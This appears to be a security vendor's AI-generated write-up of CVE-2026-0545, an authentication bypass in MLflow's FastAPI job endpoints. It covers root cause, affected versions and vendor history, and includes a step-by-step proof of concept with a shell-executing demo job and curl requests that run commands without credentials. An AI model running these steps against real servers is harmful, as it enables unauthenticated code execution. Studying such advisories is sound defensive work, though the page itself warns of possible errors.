MLflow CVE-2026-0545: Critical Authentication Bypass in FastAPI Job Endpoints with PoC Analysis

A brief summary of CVE-2026-0545, a critical authentication bypass in MLflow's FastAPI job endpoints that allows unauthenticated remote code execution. Includes proof of concept details and mitigation guidance.

CVE Analysis

8 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-03

MLflow CVE-2026-0545: Critical Authentication Bypass in FastAPI Job Endpoints with PoC Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

An authentication bypass in MLflow's FastAPI job endpoints allows any unauthenticated network client to submit and execute arbitrary jobs on servers configured with basic auth, effectively turning a "protected" MLflow deployment into an open execution platform. With a CVSS score of 9.1 and a trivially simple exploitation path, this vulnerability represents a serious risk for organizations running MLflow in production environments where job execution is enabled.

MLflow is a widely adopted open source platform for managing the machine learning lifecycle, including experimentation, reproducibility, deployment, and a central model registry. Originally introduced by Databricks in 2018, it has become a foundational tool across the AI/ML engineering ecosystem, used by thousands of organizations to track experiments and manage model deployments.

Technical Information

The vulnerability originates in how MLflow's authentication middleware handles routing for FastAPI endpoints versus traditional Flask endpoints. When the server is started with --app-name basic-auth, Flask routes correctly enforce authentication and return 401 responses to unauthenticated requests. However, FastAPI routes under /ajax-api/3.0/jobs/* bypass authentication entirely and return 200 OK responses without credentials.

Root Cause

The architectural root cause is in the _find_fastapi_validator() function located in mlflow/server/auth/__init__.py. This function is responsible for selecting the appropriate authentication validator based on the request path. The vulnerable implementation only returned a validator for paths beginning with /gateway/, and returned None for all other FastAPI routes:

def _find_fastapi_validator(path): if path.startswith("/gateway/"): return _get_gateway_validator(path) return None # <-- No auth check for non-gateway FastAPI routes!

When the validator is None, the authentication middleware simply calls await call_next(request) without performing any authentication check, allowing the request to proceed to the endpoint handler unauthenticated.

This gap is compounded by two additional architectural issues. First, in fastapi_app.py, the job_api_router is included in the FastAPI application without any authentication dependencies. Second, the security initialization in fastapi_security.py only configures Cross Origin Resource Sharing, host validation, and security headers; it does not enforce authentication.

Scope of the Bypass

The authentication bypass extends beyond the Job API. The same flaw affects:

  • The OTEL Traces API at /v1/traces, allowing unauthenticated injection of trace data
  • The Assistant API at /ajax-api/3.0/mlflow/assistant/*

Any FastAPI route that does not start with /gateway/ was left unprotected.

Exploitation Prerequisites

For successful exploitation, two server configuration conditions must be met:

  1. Server side job execution must be enabled via the MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true environment variable.
  2. At least one job function must be allowlisted using either the supported job function list or the allowed job name list.

Attack Flow

Once these conditions are satisfied, the attack is straightforward:

  1. The attacker sends a POST request with a JSON payload containing the job name and parameters to the /ajax-api/3.0/jobs/ endpoint, without any Authorization header.
  2. The authentication middleware calls _find_fastapi_validator(), which returns None for this path.
  3. The middleware skips authentication and forwards the request to the job handler.
  4. The server executes the job and returns a job ID in a 200 OK response.
  5. The attacker uses the job ID to fetch execution results via a GET request to /ajax-api/3.0/jobs/<job_id>, again without credentials.

If the allowlisted job performs privileged actions such as shell command execution or filesystem modifications, this chain results in unauthenticated remote code execution. Even if the jobs are considered safe, the bypass still enables job spam, denial of service, and data exposure through job results.

Proof of Concept

A public proof of concept is available via the Huntr bounty report. The following reproduction steps demonstrate the complete exploitation chain.

Step 1: Set up the environment and a demo job function

TEST_ROOT=/tmp/mlflow_job_clean rm -rf "$TEST_ROOT" mkdir -p "$TEST_ROOT/artifacts" "$TEST_ROOT/logs" cat > "$TEST_ROOT/basic_auth.ini" <<'INI' [mlflow] default_permission = NO_PERMISSIONS database_uri = sqlite:////tmp/mlflow_job_clean/basic_auth.db admin_username = admin admin_password = password1234 authorization_function = mlflow.server.auth:authenticate_request_basic_auth INI cat > "$TEST_ROOT/demo_job.py" <<'PY' from mlflow.server.jobs import job import subprocess @job(name="run_task", max_workers=1) def run_task(command="id"): return subprocess.check_output(command, shell=True).decode() PY

Step 2: Start MLflow server with basic auth and job execution enabled

MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_job_clean/basic_auth.ini \ MLFLOW_FLASK_SERVER_SECRET_KEY=test-secret-key \ MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true \ _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST=demo_job.run_task \ _MLFLOW_ALLOWED_JOB_NAME_LIST=run_task \ PYTHONPATH=/tmp/mlflow_job_clean \ mlflow server --app-name=basic-auth --host 127.0.0.1 --port 5590 \ --backend-store-uri sqlite:////tmp/mlflow_job_clean/backend.db \ --default-artifact-root /tmp/mlflow_job_clean/artifacts

Step 3: Confirm Flask routes enforce authentication (returns 401)

API=http://127.0.0.1:5590 curl -i "$API/api/2.0/mlflow/experiments/list" # => 401 Not authenticated

Step 4: Submit a job WITHOUT any Authorization header (returns 200)

curl -i -H "Content-Type: application/json" \ -d '{"job_name":"run_task","params":{"command":"id"}}' \ "$API/ajax-api/3.0/jobs/" # => 200 with job_id — authentication bypassed!

Step 5: Read the job result WITHOUT Authorization

JOB_ID=<job_id_from_step_4> curl -i "$API/ajax-api/3.0/jobs/$JOB_ID" # => 200 with result (e.g., output of the `id` command)

A second Huntr report also demonstrated that the bypass extends to OTEL trace injection at /v1/traces using a Python script that sends a forged protobuf ExportTraceServiceRequest without credentials, receiving a 200 response. The Assistant API at /ajax-api/3.0/mlflow/assistant/* is similarly affected.

Affected Systems and Versions

MLflow version 3.9.0 and earlier versions running under uvicorn (the default in MLflow 3.x) are affected. The vulnerability is present when all of the following conditions are met:

  • The server is started with --app-name basic-auth to enable authentication
  • The MLFLOW_SERVER_ENABLE_JOB_EXECUTION environment variable is set to true
  • At least one job function is allowlisted via _MLFLOW_SUPPORTED_JOB_FUNCTION_LIST or _MLFLOW_ALLOWED_JOB_NAME_LIST

The OTEL Traces API and Assistant API bypass components do not require job execution to be enabled; they are exploitable on any MLflow instance using basic auth with the affected FastAPI routing.

Vendor Security History

An analysis of recent CVEs reveals a pattern of high severity security flaws in the MLflow platform:

Vulnerability IDTypeCVSS ScoreImpact
CVE-2024-0520Path Traversal8.8Remote code execution via OS command injection
CVE-2025-11200Weak Password Requirements9.8Complete authentication bypass
CVE-2025-15036Path Traversal9.6Arbitrary file overwrite and privilege escalation
CVE-2026-0596Command Injection9.6Privilege escalation via model serving

The frequency of critical vulnerabilities in MLflow highlights the necessity of deploying it behind robust security gateways and network segmentation rather than exposing it directly to the internet.

References

Detect & fix
what others miss

Security magnifying glass visualization